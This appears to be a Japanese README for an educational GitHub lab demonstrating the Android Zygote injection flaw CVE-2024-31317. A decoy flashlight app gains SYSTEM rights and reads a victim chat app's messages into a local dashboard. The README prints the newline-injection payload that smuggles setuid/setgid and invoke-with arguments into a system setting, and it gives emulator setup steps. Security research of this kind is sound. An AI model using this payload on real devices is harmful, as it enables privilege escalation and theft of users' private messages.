
AndroidにおけるCVE-2024-31317 Zygoteインジェクション脆弱性の教育用デモンストレーション
このラボは CVE-2024-31317 を実演します。これは、悪意のあるアプリが権限を SYSTEM レベル (UID 1000) に昇格させ、Android サンドボックスをバイパスして他のアプリのデータをリアルタイムで読み取ることを可能にする、重大な Android 脆弱性です。
| 段階 | 説明 | ビジュアル |
|---|---|---|
| 1 | ユーザーが無害そうな「Flashlight Pro」アプリをインストールする | 🔦 |
| 2 | アプリが CVE-2024-31317 を悪用して SYSTEM アクセスを取得する | 💉 |
| 3 | SYSTEM レベルのサービスが「SecureChat」のメッセージを読み取る | 👁️ |
| 4 | 盗まれたメッセージがライブダッシュボードに表示される | 📊 |
ZygoteExploitDemo/
├── 📱 apps/
│ ├── SecureChat/ # 被害者アプリ (Jetpack Compose)
│ │ ├── SQLite に保存された暗号化メッセージ
│ │ └── WhatsApp スタイルの暗号化をシミュレート
│ │
│ ├── FlashlightPro/ # エクスプロイトを含む悪意のあるアプリ
│ │ ├── 通常の懐中電灯 UI (陽動)
│ │ ├── バックグラウンドのエクスプロイトサービス
│ │ └── WRITE_SECURE_SETTINGS 権限
│ │
│ └── MonitorService/ # SYSTEM レベルの読み取りサービス
│ ├── エクスプロイト後に UID 1000 で実行
│ ├── SecureChat データベースを読み取り
│ └── ダッシュボードに外部送信
│
├── 📊 dashboard/ # Flask ウェブダッシュボード
│ └── app.py # 盗まれたメッセージをライブ表示
│
├── 📜 scripts/ # 自動化スクリプト
│ ├── setup_vulnerable_emulator.sh
│ ├── build_all_apps.sh
│ ├── install_all_apps.sh
│ ├── run_exploit.py
│ └── monitor_logs.sh
│
├── 🎯 exploits/ # エクスプロイト情報
│ ├── CVE-2024-31317.md
│ └── payloads.txt
│
└── 📁 tamplates/ # コードテンプレート
├── exploit_template.java
└── dashboard_template.html
CVE-2024-31317 は、Android の Zygote プロセスが hidden_api_blacklist_exemptions システム設定を処理する方法に存在します。入力サニタイズの欠如により、攻撃者は改行文字を注入して Zygote コマンドに任意の引数を追加できます。
攻撃ベクター:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
| バージョン | ステータス |
|---|---|
| Android 9 - 14 | ❌ 脆弱 (2024年6月パッチ以前) |
| Android 14+ | ✅ パッチ適用済み (2024年6月のセキュリティ更新) |
| Android 15+ | ✅ 安全 |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
📱 ブラウザで http://localhost:5000 を開きます
cd ../scripts
python3 run_exploit.py
🎬 デモビデオは近日公開予定
WRITE_SECURE_SETTINGS 権限を要求する/data/data/com.securechat/databases/ からデータベースを直接読み取る貢献は歓迎します! 以下の手順に従ってください:
貢献できる分野:
MIT ライセンス - 詳細は LICENSE ファイルを参照してください
Aman - @GitAmanS
このコンテンツが教育的だと感じたら、スターを付けてください! ⭐
セキュリティ研究者によって、セキュリティ研究者のために作られました
覚えておいてください: 大いなる力には大いなる責任が伴う 🕷️